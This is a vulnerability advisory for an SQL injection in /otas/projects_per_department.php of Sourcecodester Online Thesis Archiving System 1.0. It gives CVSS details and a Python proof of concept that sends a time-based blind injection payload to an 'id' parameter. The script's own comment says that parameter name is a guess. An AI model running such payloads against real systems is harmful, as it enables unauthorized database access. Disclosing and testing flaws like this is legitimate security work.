Sourcecodester Online Thesis Archiving System v1.0 is vulnerable to SQL injection in /otas/projects_per_department.php.
CVSS Details
CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Sourcecodester Online Thesis Archiving System 1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-36950 SQL Injection
import requests
def check_sqli(url):
"""Checks if the target is vulnerable to SQL Injection."""
target = f"{url}/otas/projects_per_department.php"
# Common parameter name assumption based on typical Sourcecodester structure
payload = {"id": "1' AND SLEEP(5)-- -"}
try:
print(f"Testing: {target}")
r = requests.get(target, params=payload, timeout=10)
if r.elapsed.total_seconds() >= 5:
print("[+] Vulnerability confirmed (Time-based Blind SQLi)")
else:
print("[-] Not vulnerable or parameter name incorrect.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
target_url = "http://example.com"
check_sqli(target_url)